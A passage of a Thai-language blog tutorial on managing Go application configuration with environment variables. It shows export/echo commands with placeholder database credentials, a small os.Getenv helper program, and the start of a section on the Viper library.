Variable</li><li>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; REST API &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE14;&#xE49;&#xE27;&#xE22; Go</li><li>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE39;&#xE07; &#xE41;&#xE25;&#xE30; Mock Object</li><li>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; SQL Database &#xE41;&#xE25;&#xE30; Connection Pooling</li><li>&#xE01;&#xE32;&#xE23; Deploy API &#xE14;&#xE49;&#xE27;&#xE22; Docker Container</li></ol><p>&#xE44;&#xE21;&#xE48;&#xE27;&#xE48;&#xE32;&#xE04;&#xE38;&#xE13;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE21;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C; &#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE22;&#xE01;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE17;&#xE31;&#xE01;&#xE29;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Go &#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;&#xE44;&#xE1B;&#xE2D;&#xE35;&#xE01;&#xE02;&#xE31;&#xE49;&#xE19;</p><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%88%E0%B8%B1%E0%B8%94%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%95%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%84%E0%B9%88%E0%B8%B2"><strong><strong><strong>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;</strong></strong></strong></h2><p>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE43;&#xE19; Go &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE17;&#xE35;&#xE48;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE07;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE22;&#xE01;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Environment Variable &#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE2D;&#xE48;&#xE2D;&#xE19; &#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19; Container Environment &#xE40;&#xE0A;&#xE48;&#xE19; Docker &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Environment Variable &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;</p><p>Environment Variable &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Program &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Key-value Pair &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xA0;Environment Variable &#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B; &#xE40;&#xE0A;&#xE48;&#xE19; PATH, HOME &#xE41;&#xE25;&#xE30; TEMP</p><p>&#xE43;&#xE19; <strong>Unix/Linux</strong> &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong><strong>export </strong></strong>VARIABLE_NAME=VALUE &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE41;&#xE1A;&#xE1A;&#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27;&#xE1C;&#xE48;&#xE32;&#xE19; Command Line &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE19; <strong>Windows</strong> &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong><strong>set </strong></strong>VARIABLE_NAME=VALUE</p><p>&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; Command Line &#xE43;&#xE19; <strong>Unix/Linux</strong> &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong><strong>echo $</strong></strong>VARIABLE_NAME &#xE41;&#xE25;&#xE30;&#xE43;&#xE19; <strong>Windows</strong> &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong><strong>echo %</strong></strong>VARIABLE_NAME<strong><strong>%</strong></strong></p><p>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27;</p><pre><code>Unix/Linux
	export VARIABLE_NAME=VALUE
    
Windows
	set VARIABLE_NAME=VALUE</code></pre><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32; Environment Variable</p><pre><code>Unix/Linux
	echo $VARIABLE_NAME

Windows
	echo %VARIABLE_NAME%</code></pre><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Database Connection</p><pre><code>export MYAPP_DATABASE_HOST=myhost.com
export MYAPP_DATABASE_PORT=5433
export MYAPP_DATABASE_PASSWORD=mypassword

echo $MYAPP_DATABASE_HOST
echo $MYAPP_DATABASE_PORT
echo $MYAPP_DATABASE_PASSWORD</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-12-at-11.48.24-AM.png" class="kg-image" alt loading="lazy" width="1864" height="904" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-12-at-11.48.24-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-12-at-11.48.24-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-12-at-11.48.24-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-12-at-11.48.24-AM.png 1864w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27; &#xE04;&#xE48;&#xE32;&#xE08;&#xE30;&#xE04;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE43;&#xE19; Session &#xE02;&#xE2D;&#xE07; Terminal &#xE19;&#xE31;&#xE49;&#xE19; &#xE46; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE34;&#xE14; Terminal &#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE15;&#xE31;&#xE49;&#xE07;&#xE44;&#xE27;&#xE49;&#xE08;&#xE30;&#xE2B;&#xE32;&#xE22;&#xE44;&#xE1B;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;</p><p>&#xE2A;&#xE48;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE16;&#xE32;&#xE27;&#xE23;&#xE1A;&#xE19; Unix/Linux &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; /etc/environment &#xE2B;&#xE23;&#xE37;&#xE2D; ~/.bashrc &#xE2B;&#xE23;&#xE37;&#xE2D; ~/.profile &#xE2F;&#xE25;&#xE2F; &#xE41;&#xE15;&#xE48;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Windows &#xE08;&#xE30;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19; System Properties &gt; Environment Variable &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; setx</p><p>&#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE14;&#xE49;&#xE27;&#xE22;&#xE21;&#xE37;&#xE2D;&#xE1A;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07; Local &#xE02;&#xE2D;&#xE07; Dev &#xE41;&#xE15;&#xE48;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Environment &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; Production &#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49; Secret Management System &#xE40;&#xE0A;&#xE48;&#xE19; HashiCorp Vault &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Open Source Software &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE41;&#xE17;&#xE19;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p>Environment Variable &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1B;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; 12-Factor App &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE43;&#xE08;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE2A;&#xE21;&#xE31;&#xE22;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; <strong><strong>&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48; 3 &quot;Config&quot;</strong></strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE22;&#xE01;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE4D;&#xE32;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Connect Database &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; Code &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE21;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE43;&#xE2B;&#xE21;&#xE48; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07; Deploy &#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Environment &#xE40;&#xE0A;&#xE48;&#xE19; Development, UAT &#xE41;&#xE25;&#xE30; Production</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2025/02/config.png" class="kg-image" alt loading="lazy" width="1500" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/config.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/config.png 1000w, https://blog.pjjop.org/content/images/2025/02/config.png 1500w" sizes="(min-width: 720px) 720px"><figcaption>Config : 12-Factor App</figcaption></figure><p>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE17;&#xE32;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34; <strong><strong>&#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE41;&#xE22;&#xE01;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Env</strong>i<strong>ronment &#xE44;&#xE27;&#xE49;&#xE19;&#xE2D;&#xE01; Codebase</strong></strong>&#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE2D;&#xE48;&#xE2D;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19;</p><p>&#xE43;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Package &quot;<strong>os</strong>&quot; &#xE41;&#xE25;&#xE30; &quot;<strong>viper</strong>&quot; &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE23;&#xE31;&#xE19; Program (&#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test) Environment Variable &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE02;&#xE2D;&#xE07; Program &#xE08;&#xE30;&#xE2A;&#xE37;&#xE1A;&#xE17;&#xE2D;&#xE14;&#xE21;&#xE32;&#xE01;&#xE08;&#xE32;&#xE01; Environment Variable &#xE43;&#xE19; Environment &#xE41;&#xE21;&#xE48; &#xE40;&#xE0A;&#xE48;&#xE19; Environment &#xE02;&#xE2D;&#xE07; OS &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE40;&#xE04;&#xE22; Export &#xE1C;&#xE48;&#xE32;&#xE19; Command &#xE21;&#xE32;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE19;&#xE35;&#xE49;</p><p>&#xE08;&#xE32;&#xE01; Code &#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07; Function &quot;GetEnv&quot; &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; <strong>os.Getenv()</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07; Environment Variable &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE15;&#xE23;&#xE34;&#xE07;&#xE27;&#xE48;&#xE32;&#xE07; (<strong>&quot;&quot;</strong>) &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; Default Value</p><p>&#xE2A;&#xE48;&#xE27;&#xE19; Function &quot;GetEnvAsInt&quot; &#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE08;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; os.Getenv() &#xE41;&#xE25;&#xE49;&#xE27; &#xE22;&#xE31;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; <strong>strconv.Atoi()</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE2A;&#xE15;&#xE23;&#xE34;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE15;&#xE47;&#xE21; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE16;&#xE49;&#xE32;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE15;&#xE47;&#xE21;&#xE19;&#xE31;&#xE49;&#xE19;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32; &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; (&#xE40;&#xE01;&#xE34;&#xE14; Error) &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; Default Value</p><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; MYAPP_DATABASE_HOST &#xE41;&#xE25;&#xE30; MYAPP_DATABASE_PASSWORD &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE14;&#xE36;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22; GetEnv &#xE2A;&#xE48;&#xE27;&#xE19; MYAPP_DATABASE_PORT &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE25;&#xE02;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE15;&#xE47;&#xE21;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE14;&#xE36;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22; GetEnvAsInt</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;os&quot;
	&quot;strconv&quot;
)

func GetEnv(key, defaultValue string) string {
	value := os.Getenv(key)
	if value == &quot;&quot; {
		return defaultValue
	}
	return value
}

func GetEnvAsInt(key string, defaultValue int) int {
	valueStr := GetEnv(key, &quot;&quot;)
	if value, err := strconv.Atoi(valueStr); err == nil {
		return value
	}
	return defaultValue
}

func main() {
	// &#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; MYAPP_DATABASE_HOST
	dbHost := GetEnv(&quot;MYAPP_DATABASE_HOST&quot;, &quot;localhost&quot;)

	// &#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; MYAPP_DATABASE_PORT
	dbPort := GetEnvAsInt(&quot;MYAPP_DATABASE_PORT&quot;, 5432)

	// &#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32; MYAPP_DATABASE_PASSWORD
	dbPassword := GetEnv(&quot;MYAPP_DATABASE_PASSWORD&quot;, &quot;&quot;)

	// &#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
	fmt.Printf(&quot;Database Host: %s\n&quot;, dbHost)
	fmt.Printf(&quot;Database Port: %d\n&quot;, dbPort)
	fmt.Printf(&quot;Database Password: %s\n&quot;, dbPassword)
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-12-at-10.41.42-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-12-at-10.41.42-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-12-at-10.41.42-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-12-at-10.41.42-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-12-at-10.41.42-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19; &#xE2D;&#xE32;&#xE08;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE43;&#xE0A;&#xE49; Library &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; <strong>Viper </strong>&#xE41;&#xE17;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22; Package &quot;os&quot; &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01; Viper &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE21;&#xE35; Function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE48;&#xE32;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Default &#xE41;&#xE25;&#xE30;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; &#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; &#xE40;&#xE0A;&#xE48;&#xE19; JSON, YAML, TOML &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; Environment Variable &#xE14;&#xE49;&#xE27;&#xE22; &#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Viper &#xE01;&#xE48;&#xE2D;&#xE19; &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01; Viper &#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; Standard Package &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A; Package &quot;os&quot;</p><pre><code>go get github.com/spf13/viper</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Viper 